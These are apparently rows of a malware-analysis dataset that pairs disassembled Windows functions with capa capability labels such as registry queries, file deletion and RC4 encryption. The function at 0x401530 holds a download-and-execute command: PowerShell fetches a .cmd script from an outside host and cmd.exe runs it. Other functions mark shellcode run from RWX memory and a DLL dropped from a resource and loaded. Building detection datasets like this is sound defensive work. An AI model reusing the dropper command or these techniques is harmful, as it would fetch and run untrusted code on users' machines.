joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005dd30
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x1a8
mov rax, qword [0x14008c080]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov r8d, 0x114
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.14001c3c0
mov dword [rsp + 0x40], 0x114
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x160], 0
cmp dword [rsp + 0x44], 6
jae 0x14005dd93
cmp dword [rsp + 0x44], 5
jne 0x14005dd9e
cmp dword [rsp + 0x48], 0
jbe 0x14005dd9e
mov dword [rsp + 0x160], 2
mov dword [rsp + 0x164], 0
jmp 0x14005ddbc
mov eax, dword [rsp + 0x164]
add eax, 1
mov dword [rsp + 0x164], eax
movsxd rax, dword [rsp + 0x164]
cmp rax, 4
jae 0x14005dfaa
mov dword [rsp + 0x168], 0
movsxd r10, dword [rsp + 0x164]
imul r10, r10, 0x10
lea r8, str.System
movsxd rcx, dword [rsp + 0x164]
imul rcx, rcx, 0x10
lea rdx, str.System
lea rax, [rsp + 0x168]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [r8 + r10 + 8]
mov rdx, qword [rdx + rcx]
mov rcx, qword [rsp + 0x1b0]
call fcn.14005c7e0
cmp eax, 0x7a
jne 0x14005dfa5
mov ecx, dword [rsp + 0x168]
call fcn.140006748
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 0
je 0x14005dfa5
movsxd r10, dword [rsp + 0x164]
imul r10, r10, 0x10
lea r8, str.System
movsxd rcx, dword [rsp + 0x164]
imul rcx, rcx, 0x10
lea rdx, str.System
lea rax, [rsp + 0x168]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x170]
mov r8, qword [r8 + r10 + 8]
mov rdx, qword [rdx + rcx]
mov rcx, qword [rsp + 0x1b0]
call fcn.14005c7e0
mov dword [rsp + 0x178], eax
cmp dword [rsp + 0x178], 0
je 0x14005def8
cmp dword [rsp + 0x178], 0x103
jne 0x14005df7d
mov rax, qword [rsp + 0x170]
cmp dword [rax], 0
jbe 0x14005df7d
mov dword [rsp + 0x17c], 0
jmp 0x14005df16
mov eax, dword [rsp + 0x17c]
add eax, 1
mov dword [rsp + 0x17c], eax
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
cmp dword [rsp + 0x17c], eax
jae 0x14005df7d
mov eax, dword [rsp + 0x17c]
mov r8, qword [rsp + 0x170]
mov r8, qword [r8 + rax*8 + 8]
lea rdx, str.DeviceClassName
mov rcx, qword [rsp + 0x1b0]
call fcn.14005dcf0
mov r11d, dword [rsp + 0x17c]
mov r8d, dword [rsp + 0x160]
mov rdx, qword [rsp + 0x170]
mov rdx, qword [rdx + r11*8 + 8]
mov rcx, qword [rsp + 0x1b0]
call fcn.14005bcc0
jmp 0x14005df05
cmp qword [rsp + 0x170], 0
je 0x14005dfa5
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x188], rax
mov rcx, qword [rsp + 0x188]
call fcn.140006750
jmp 0x14005ddab
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14001b9f0
add rsp, 0x1a8
ret
Function at 0x14005dfd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov dword [rsp + 0x40], 0
mov edx, 0x7fffffff
mov rcx, qword [rsp + 0x88]
call fcn.14005c440
mov rbx, rax
mov edx, 0x7fffffff
lea rcx, str.SYSTEMCurrentControlSetENUM
call fcn.14005c440
lea rax, [rbx + rax + 0x106]
mov qword [rsp + 0x30], rax
mov eax, 2
mul qword [rsp + 0x30]
mov rcx, rax
mov rax, 0xffffffffffffffff
cmovo rcx, rax
call fcn.140006748
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea r8, str.SYSTEMCurrentControlSetENUM
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.140001c10
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.14005d810
test eax, eax
je 0x14005e11d
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14005e11d
mov rax, qword [rsp + 0x30]
shl rax, 1
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140077f10]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14005e112
lea rdx, str.PnpPrinters
mov rcx, qword [rsp + 0x38]
call fcn.14001bd44
test eax, eax
jne 0x14005e102
mov dword [rsp + 0x68], 1
jmp 0x14005e10a
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x40], eax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0x38], 0
je 0x14005e139
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140006750
mov eax, dword [rsp + 0x40]
add rsp, 0x70
pop rbx
ret
Function at 0x1400607d0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x38
call fcn.140005d40
test rax, rax
je 0x1400607f7
call fcn.140005d40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1400928e8], 0
cmp qword [0x1400928f0], 0
je 0x14006082f
mov rcx, qword [0x1400928f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [0x1400928f0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.140006750
mov qword [0x1400928f0], 0
add rsp, 0x38
ret

Function at 0x140060840
Capabilities:
Create directory
Get common file path

Disassembly:
sub rsp, 0x468
mov rax, qword [0x14008c080]
xor rax, rsp
mov qword [rsp + 0x458], rax
lea rax, str.StoreTemporaryFileName
mov qword [rsp + 0x440], rax
mov rdx, qword [rsp + 0x440]
lea rcx, [0x1400728e0]
call fcn.14002d6b0
mov r8d, 0x410
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14001c3c0
mov r9d, 1
mov r8d, 0x23
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov dword [rsp + 0x448], eax
cmp dword [rsp + 0x448], 0
je 0x1400609b7
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add eax, 0x208
mov dword [rsp + 0x44c], eax
mov ecx, dword [rsp + 0x44c]
mov eax, 2
mul rcx
mov rcx, rax
mov rax, 0xffffffffffffffff
cmovo rcx, rax
call fcn.140006748
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
mov qword [0x1400928f0], rax
cmp qword [0x1400928f0], 0
je 0x1400609b7
mov r8d, dword [rsp + 0x44c]
shl r8, 1
xor edx, edx
mov rcx, qword [0x1400928f0]
call fcn.14001c3c0
mov r8d, dword [rsp + 0x44c]
mov rdx, qword [0x1400928f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.EPSON
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [rsp + 0x448], eax
mov rcx, qword [0x1400928f0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rdx, rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, str..tmp
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
mov edx, dword [rsp + 0x44c]
lea r8, [rsp + 0x30]
mov rcx, qword [0x1400928f0]
call fcn.14001cf0c
mov r8, qword [0x1400928f0]
mov rdx, qword [rsp + 0x440]
lea rcx, str.CDIFxAPILibManager
call fcn.14002d610
mov rcx, qword [rsp + 0x458]
xor rcx, rsp
call fcn.14001b9f0
add rsp, 0x468
ret
Function at 0x1400609f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rax, str.libLoadFromResource
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [0x140072728]
call fcn.14002d6b0
mov rdx, qword [rsp + 0x90]
lea rcx, str.ResourceName
call fcn.14002dc70
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x54], 0
call fcn.140003ad0
mov r8d, 0xa
mov rdx, qword [rsp + 0x90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140060bda
mov rdx, qword [rsp + 0x40]
lea rcx, str.RsrcHandle
call fcn.14002dc70
call fcn.140003ad0
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x54], eax
call fcn.140003ad0
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140060ad1
lea r8, str.Invalid_Script_Handle__
mov rdx, qword [rsp + 0x48]
lea rcx, [0x1400727b8]
call fcn.14002d610
xor eax, eax
jmp 0x140060bf4
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.ScriptHandle
call fcn.14002dc70
call fcn.140060840
cmp qword [0x1400928f0], 0
jne 0x140060b20
lea r8, str.Invalid_File_Name__
mov rdx, qword [rsp + 0x48]
lea rcx, [0x140072828]
call fcn.14002d610
xor eax, eax
jmp 0x140060bf4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
mov rcx, qword [0x1400928f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
lea rcx, str.FileHandle
call fcn.14002dc70
cmp qword [rsp + 0x58], 0xffffffffffffffff
je 0x140060bda
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x50], 0
je 0x140060bc7
mov rcx, qword [0x1400928f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1400928e8], rax
mov rdx, qword [0x1400928e8]
lea rcx, str.ModuleHandle
call fcn.14002dc70
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
lea rcx, [0x140072888]
call fcn.14002e080
mov eax, dword [rsp + 0x50]
add rsp, 0x88
ret
Function at 0x1400166f0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140026878], rbx
je 0x14001673c
cmp rax, rbx
jne 0x14001672f
mov ebx, 1
mov esi, ebx
jmp 0x140016741
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140016714
mov ebx, 1
mov eax, dword [0x140026880]
cmp eax, ebx
jne 0x140016757
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400167bc
mov eax, dword [0x140026880]
test eax, eax
jne 0x1400167b6
mov dword [0x140026880], ebx
lea r15, [0x14001a6f0]
lea rdi, [0x14001a6d8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400167a8
test eax, eax
jne 0x1400167ac
cmp qword [rdi], 0
je 0x14001679d
mov rax, qword [rdi]
mov rcx, qword [case.0x140006774.0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14001677e
test eax, eax
je 0x1400167bc
mov eax, 0xff
jmp 0x140016898
mov dword [0x140026178], ebx
mov eax, dword [0x140026880]
cmp eax, ebx
jne 0x1400167e3
lea rdx, [0x14001a6d0]
lea rcx, [0x14001a618]
call sub.msvcrt.dll__initterm
mov dword [0x140026880], 2
test esi, esi
jne 0x1400167f0
xor eax, eax
xchg qword [0x140026878], rax
cmp qword [0x140026898], 0
je 0x140016824
lea rcx, [0x140026898]
call fcn.140017310
test eax, eax
je 0x140016824
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140026898]
mov r9, qword [case.0x140006774.0]
call r9
mov r8, qword [0x140026190]
mov rdx, qword [0x140026188]
mov ecx, dword [0x140026180]
call fcn.140002c70
mov dword [0x140026174], eax
cmp dword [0x140026198], 0
jne 0x140016854
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140026178], 0
jne 0x140016869
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140026174]
jmp 0x140016898
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1401ab000
add rsp, 0x28
jmp 0x1400166f0

Function at 0x140016e34
Capabilities:
Print debug messages

Disassembly:
jmp 0x140016e40
push rbx
sub rsp, 0x540
mov rax, qword [0x140026110]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140016ebd
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x140016edd
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.1400168f0
add rsp, 0x540
pop rbx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044d0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004044e0]
mov dword [rax], 1
mov rax, qword [0x004044f0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x00404380]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x004044b0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x00404410]
mov qword [rdx], rax
mov rdx, qword [0x00404400]
mov qword [rdx], rax
mov rax, qword [0x00404470]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404330]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rcx, str.powershell__Command__Invoke_WebRequest__Uri_https:__vip.123pan.cn_1814328088_gtx_4__OutFile__env:USERPROFILE2.cmd_
call sym.system
lea rcx, str.cmd.exe__c__USERPROFILE_2.cmd
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x401760
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40187a
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4017ae
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401860
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x401792
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4018b2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401895
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401859
sub eax, 0x40
and eax, 0xffffffbf
je 0x401859
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401881
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x4017bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x402490
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4024a0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4024b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4024f1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4024e8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4024f3
add rax, 0x28
cmp rax, r9
jne 0x4024d4
xor eax, eax
repz ret

Function at 0x4025a0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00404380]
cmp word [rbx], 0x5a4d
je 0x4025c0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4025b4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x180010e60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
lea esi, [rcx - 4]
mov rbx, rdx
mov edi, ecx
cmp ecx, esi
jbe 0x180010f5d
xor r15d, r15d
mov ebp, 0xfff7
mov r14d, 0x40002804
nop word [rax + rax]
mov eax, edi
sub eax, 0xae
je 0x180010f48
sub eax, 4
je 0x180010f88
sub eax, 3
je 0x180010f81
cmp eax, 1
jne 0x180010f53
mov qword [rsp + 0x28], r15
lea r8, [0x180010cf0]
mov r9, rbx
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx], rax
test rax, rax
je 0x180010f7a
mov ecx, 0xf4
mov eax, ecx
sub eax, 0xcb
je 0x180010f1c
sub eax, 0x29
je 0x180010f12
cmp eax, 0x73aa
jne 0x180010f38
movzx eax, word [rbx + 0x3c]
jmp 0x180010f53
mov eax, 1
xchg dword [rbx + 0xc], eax
jmp 0x180010f38
mov ax, word [0x40002804]
and ax, bp
mov word [0x40002804], ax
nop
movzx eax, word [r14]
test al, 8
je 0x180010f30
add ecx, 0x6f84
cmp ecx, 0x1be10
jbe 0x180010ef7
jmp 0x180010f53
mov dword [0x40003000], 0xcccc
dec edi
cmp edi, esi
ja 0x180010ea0
mov eax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
mov byte [rsp + 0x50], r15b
jmp 0x180010f5d
mov byte [rsp + 0x50], 1
jmp 0x180010f5d
mov eax, dword [0x4001244c]
jmp 0x180010f61
Function at 0x180016b80
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
imul r14d, r9d, 0x2e8
mov esi, r9d
mov rdi, r8
mov rbp, rdx
mov r15, rcx
mov ebx, r9d
cmp r9d, r14d
ja 0x180016d4e
mov r9, qword [rsp + 0x30]
xor r12d, r12d
lea r13d, [r12 + 4]
nop dword [rax + rax]
cmp ebx, 0x26e2
ja 0x180016c84
je 0x180016d4e
mov eax, ebx
sub eax, 0x67
je 0x180016c71
sub eax, 0x37
je 0x180016c23
cmp eax, 0x18bb
jne 0x180016d1f
mov qword [rsp + 0x28], r12
lea r8, [0x180017370]
mov r9, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r9, rax
jmp 0x180016d1f
mov edx, dword [rdi]
mov ecx, 7
and edx, 7
mov r8d, r12d
sub ecx, edx
cmp ecx, r13d
cmova ecx, r13d
lea eax, [rdx + 4]
add edx, 0xfffffffd
cmp eax, 7
mov eax, 1
cmovae r8d, edx
mov edx, 1
shl edx, cl
mov ecx, r8d
shl eax, cl
dec edx
and edx, dword [rbp]
dec eax
and eax, dword [r15]
shl edx, cl
or edx, eax
mov dword [rsp + 0x88], edx
jmp 0x180016d1f
mov qword [0x18002c7f8], rdi
mov qword [rdi + 0x80], rbp
jmp 0x180016d1f
cmp ebx, 0x324b
je 0x180016d30
cmp ebx, 0x14f4c
je 0x180016cc3
cmp ebx, 0x19224
jne 0x180016d1f
mov rcx, qword [rdi + 0x20]
mov eax, dword [rcx + 0xc]
shl eax, 8
or eax, dword [rcx + 8]
shl eax, 8
or eax, dword [rcx + 4]
shl eax, 8
or eax, dword [rcx]
movabs dword [0xa00000b0], eax
jmp 0x180016d1f
mov eax, dword [rdi + 8]
shl eax, 4
or eax, dword [rdi + 4]
shl eax, 9
or eax, dword [rdi]
or eax, 0x10
movabs dword [0xa00000a0], eax
mov rcx, qword [rdi + 0x10]
mov eax, dword [rcx + 0xc]
shl eax, 8
or eax, dword [rcx + 8]
shl eax, 8
or eax, dword [rcx + 4]
shl eax, 8
or eax, dword [rcx]
movabs dword [0xa00000a8], eax
mov rcx, qword [rdi + 0x18]
mov eax, dword [rcx + 0xc]
shl eax, 8
or eax, dword [rcx + 8]
shl eax, 8
or eax, dword [rcx + 4]
shl eax, 8
or eax, dword [rcx]
movabs dword [0xa00000ac], eax
imul eax, esi, 0x3e
add ebx, eax
cmp ebx, r14d
jbe 0x180016bd0
jmp 0x180016d4e
test r9, r9
jne 0x180016d3f
mov byte [rsp + 0x88], r12b
jmp 0x180016d4e
xchg qword [0x18002c800], r9
mov byte [rsp + 0x88], 1
mov eax, dword [rsp + 0x88]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180019ae0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push r12
push r13
sub rsp, 0x188
mov rax, qword [0x18002c718]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rax, rcx
mov qword [rsp + 0x28], rcx
lea ecx, [r8 + 0x20]
mov r13d, r8d
mov dword [rsp + 0x24], ecx
mov r12, rdx
cmp r8d, ecx
jae 0x180019caa
mov qword [r11 + 0x18], rbx
movzx ebx, byte [rsp + 0x20]
mov qword [r11 - 0x18], rbp
mov rbp, qword [rsp + 0x28]
mov qword [r11 - 0x20], rsi
movzx esi, byte [rsp + 0x20]
mov qword [r11 - 0x28], rdi
movzx edi, byte [rsp + 0x20]
mov qword [r11 - 0x30], r14
mov r14, qword [rsp + 0x28]
mov qword [r11 - 0x38], r15
mov r15, qword [rsp + 0x28]
cmp r13d, 0x2d
je 0x180019c39
cmp r13d, 0x35
je 0x180019c13
cmp r13d, 0x3d
je 0x180019b8d
cmp r13d, 0x11e
jne 0x180019c68
movzx eax, word [rax]
not ax
mov word [r12 + 0x10], ax
jmp 0x180019c68
cmp r14, qword [r12 + 0x10]
jae 0x180019c02
nop dword [rax]
nop dword [rax + rax]
mov r8d, 0xcb
mov eax, r8d
sub eax, 0xcb
je 0x180019bde
cmp eax, 0x5c
jne 0x180019bea
movzx ecx, sil
movzx edx, bl
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
mov byte [rcx + rbp], dil
movzx eax, byte [rdx + rbp]
add al, dil
movzx eax, al
movzx ecx, byte [rax + rbp]
xor byte [r14 + r15], cl
inc r14
jmp 0x180019bea
inc bl
movzx eax, bl
movzx edi, byte [rax + rbp]
add sil, dil
add r8d, 0x5c
cmp r8d, 0x183
jb 0x180019ba6
cmp r14, qword [r12 + 0x10]
jb 0x180019ba0
mov ecx, dword [rsp + 0x24]
mov byte [rsp + 0x140], bl
mov byte [rsp + 0x141], sil
jmp 0x180019c68
cmp qword [r12 + 0x18], 0x10
lea rbp, [rsp + 0x40]
movzx ebx, byte [rsp + 0x140]
mov r15, r12
movzx esi, byte [rsp + 0x141]
jb 0x180019c68
mov r15, qword [r12]
jmp 0x180019c68
xor r14d, r14d
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180019c49
mov rdx, qword [rax]
mov eax, dword [rax + 0x10]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x30]
mov dword [rsp + 0x30], eax
mov ecx, 0xa6
call fcn.180019f60
mov ecx, dword [rsp + 0x24]
mov rax, qword [rsp + 0x28]
add r13d, 8
cmp r13d, ecx
jb 0x180019b55
mov r15, qword [rsp + 0x160]
mov r14, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
mov rsi, qword [rsp + 0x178]
mov rbp, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180022a70
add rsp, 0x188
pop r13
pop r12
ret